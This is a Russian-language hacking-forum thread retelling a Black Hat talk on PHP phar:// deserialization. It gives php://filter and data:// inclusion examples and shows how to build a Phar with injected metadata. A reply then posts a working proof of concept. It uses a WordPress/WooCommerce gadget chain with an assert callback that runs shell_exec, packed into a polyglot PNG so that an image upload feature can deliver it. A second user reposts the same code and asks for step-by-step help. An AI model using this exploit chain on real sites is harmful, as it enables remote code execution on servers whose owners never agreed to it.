• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Новая техника по взлому PHP: phar://

YukiBoji

Участник
Сообщения
18
Реакции
29
0 руб.
Telegram
Jabber
Всем доброго времени суток. Побывал на BlackHat USA в этом году, теперь думаю медленно выкатывать интересные доклады сюда.
Сегодняшний наш топик посвящается новой PHP-уязвимости. Ну т.е. как новой, данная уязвимость является логичным продолжением PHP Unserialization Vulnerability, правда теперь она позволяет провести RCE.

Теперь давайте поговорим про обертки:

Большинство файловых операций в PHP позволяют использовать различные обертки, такие как data://, zlib:// или php:// при доступе к файлу. Некоторые из этих оберток часто используются для получения удаленного доступа к файлам. Для примера: обертка используются, чтобы слить исходных код, который в другом случае просто исполняется.

Код:
Remote File Inclusion Exploitation

Code:
include('php://filter/convert.base64-encode/resource=index.php');
include('data://text/plain;base64,cGhwaW5mbygpCg==');

Так в чем же кроется смысл, если все это уже давно известная инфа?
А дело в том, что никто не обращал внимания на phar:// обертку. Вы можете спросить у меня:"Yuki, ты шо ебаннутый? Что интересного в Phar? (PHP Archive)"
А я отвечу тебе мой дорогой %username%, что там содержаться метаданные в формате serial3.

Давайте создадим файл Phar и добавим объект с некоторыми метаданными:

Код:
Creating a Phar File
Code:
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

Если мы посмотрим на наш test.phar, который мы только что создали, то увидим наш объект, который хранится как сериализованная строка.

Инъекция PHP-объекта:

Если теперь с нашим Phar выполняется файловая операция с помощью phar: // , то его сериализованные метаданные уже не являются таковыми. А это значит, что наш заинжекченный объект загружается в область приложения. А теперь самое интересное, мой дорогой %username%. Если это приложение имеет класс с именем AnyClass, и у него есть магический метод __destruct () или __wakeup (), то эти методы автоматически вызываются. Это означает, что мы можем запускать любой деструктор или метод пробуждения в коде PHP - приложения. Самый худший в данном случае исход, если данные методы работают с введенными пользовательскими данными, так как это может привести к дальнейшим уязвимостям.

Код:
PHP Object Injection via Phar file
Code:
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');

Использование

1) Хакер должен иметь возможность заллить обработанный файл Phar на сервер. Но Сэм Томас (докладчик) нашел несколько хороших трюков, как файл Phar засунуть в поддельный JPG, поэтому функция загрузки изображений уже достаточна для взлома.
2) Обычно полный путь к файлу в операциях типа file() уже создает серьезнуть опасность, поэтому ввод, который используются в этих функциях обычно проверяется. Однако запуск phar:// возможен из любой файловой операции, так что можно использовать какой-нибудь file_exists(), который является менее защищенным.

Референсы:
- http://php.net/manual/phar.fileformat.manifestfile.php
 
Последнее редактирование:

YukiBoji

Участник
Сообщения
18
Реакции
29
0 руб.
Telegram
Jabber
English version:
https://vlmi.top/threads/new-php-exploitation-technique-phar.24092/
 

Raskolnikov

Резидент
Сообщения
233
Реакции
311
0 руб.
Дополню:

Видос, где показывают это на примере Wordpress и TYPO3



PoC. Как Phar засунуть в картинку

Код:
<?php

class Requests_Utility_FilteredIterator extends ArrayIterator{
   
 protected $callback;

 public function __construct(){
    $this->callback = 'assert';
 }

}

class WC_Log_Handler_File{

 protected $handles;

 public function __construct(){
    $this->handles = new Requests_Utility_FilteredIterator;
    $this->handles[] = 'die(shell_exec("ls -la"));';
 }

}

function img(){
    ob_start();
    imagepng(imagecreatetruecolor(200, 200));
    return ob_get_clean();
}

$n = 'image.phar';
$p = new Phar($n);
$p->setStub(img().'__HALT_COMPILER();');
$p->setMetadata(new WC_Log_Handler_File);
$p['x'] = '';
rename($n, $n.'.png');
 

t0t0r0

Новичок
Сообщения
1
Реакции
1
0 руб.
Дополню:

Видос, где показывают это на примере Wordpress и TYPO3



PoC. Как Phar засунуть в картинку

Код:
<?php

class Requests_Utility_FilteredIterator extends ArrayIterator{
  
protected $callback;

public function __construct(){
    $this->callback = 'assert';
}

}

class WC_Log_Handler_File{

protected $handles;

public function __construct(){
    $this->handles = new Requests_Utility_FilteredIterator;
    $this->handles[] = 'die(shell_exec("ls -la"));';
}

}

function img(){
    ob_start();
    imagepng(imagecreatetruecolor(200, 200));
    return ob_get_clean();
}

$n = 'image.phar';
$p = new Phar($n);
$p->setStub(img().'__HALT_COMPILER();');
$p->setMetadata(new WC_Log_Handler_File);
$p['x'] = '';
rename($n, $n.'.png');
Можешь для тех кто не разбирается в php , объяснить по подробнее как это реализовать?
 
Сверху Снизу